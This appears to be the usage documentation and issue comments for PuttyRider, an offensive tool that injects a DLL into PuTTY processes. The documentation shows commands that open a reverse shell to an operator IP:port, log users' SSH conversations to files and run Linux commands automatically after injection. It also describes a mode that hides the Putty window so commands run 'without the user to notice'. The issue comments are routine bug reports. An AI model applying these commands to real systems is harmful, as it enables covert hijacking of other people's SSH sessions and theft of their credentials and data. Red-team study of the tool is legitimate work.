Documentation

Examples

List existing Putty processes and their status (injected / not injected)

PuttyRider.exe -l

Inject DLL into the first found putty.exe and initiate a reverse connection from DLL to my IP:Port, then exit PuttyRider.exe.

PuttyRider.exe -p 0 -r 192.168.0.55:8080

Run in background and wait for new Putty processes. Inject in any new putty.exe and write all conversations in local files.

PuttyRider.exe -w -f

Eject PuttyRider.dll from all Putty processes where it is already injected. (Don't forget to kill PuttyRider.exe if running in -w mode, otherwise it will reinject again.)

PuttyRider.exe -x

Usage

Operation modes:
	-l		List the running Putty processes and their connections
	-w		Inject in all existing Putty sessions and wait for new sessions
			to inject in those also
	-p PID  Inject only in existing Putty session identified by PID.
			If PID==0, inject in the first Putty found
	-x		Cleanup. Remove the DLL from all running Putty instances
	-d		Debug mode. Only works with -p mode
	-c CMD  Automatically execute a Linux command after successful injection
			PuttyRider will remove trailing spaces and '&' character from CMD
			PuttyRider will add: " 1>/dev/null 2>/dev/null &" to CMD
	-h		Print this help

Output modes:
	-f			Write all Putty conversation to a file in the local directory.
				The filename will have the PID of current putty.exe appended
	-r IP:PORT	Initiate a reverse connection to the specified machine and
				start an interactive session.

Interactive commands (after you receive a reverse connection):
	!status		See if the Putty window is connected to user input
	!discon		Disconnect the main Putty window so it won't display anything
				This is useful to send commands without the user to notice
	!recon		Reconnect the Putty window to its normal operation mode
	CMD			Linux shell commands
	!exit		Terminate this connection
	!help		Display help for client connection

Compiling

Use Visual Studio Command Prompt:

nmake main dll

Does not work with Windows 10: [-] DLL injection failed (Pipe connection timed out)

This is a long shot, but here it goes!

I get the following error on Windows 10:

Are you already injected in this Putty process?
Exiting PuttyRider

putty crash

im trying this on windows 8.1 pro 64bit, putty 0.63
after the succsesfull injection putty just crash.

Lots of unchecked sprintf's

Hi,

Great work, however I did want to bring attention to all the uses of sprintf without bounds checking, especially in PuttyRiderDLL.c This could lead to buffer overflows.
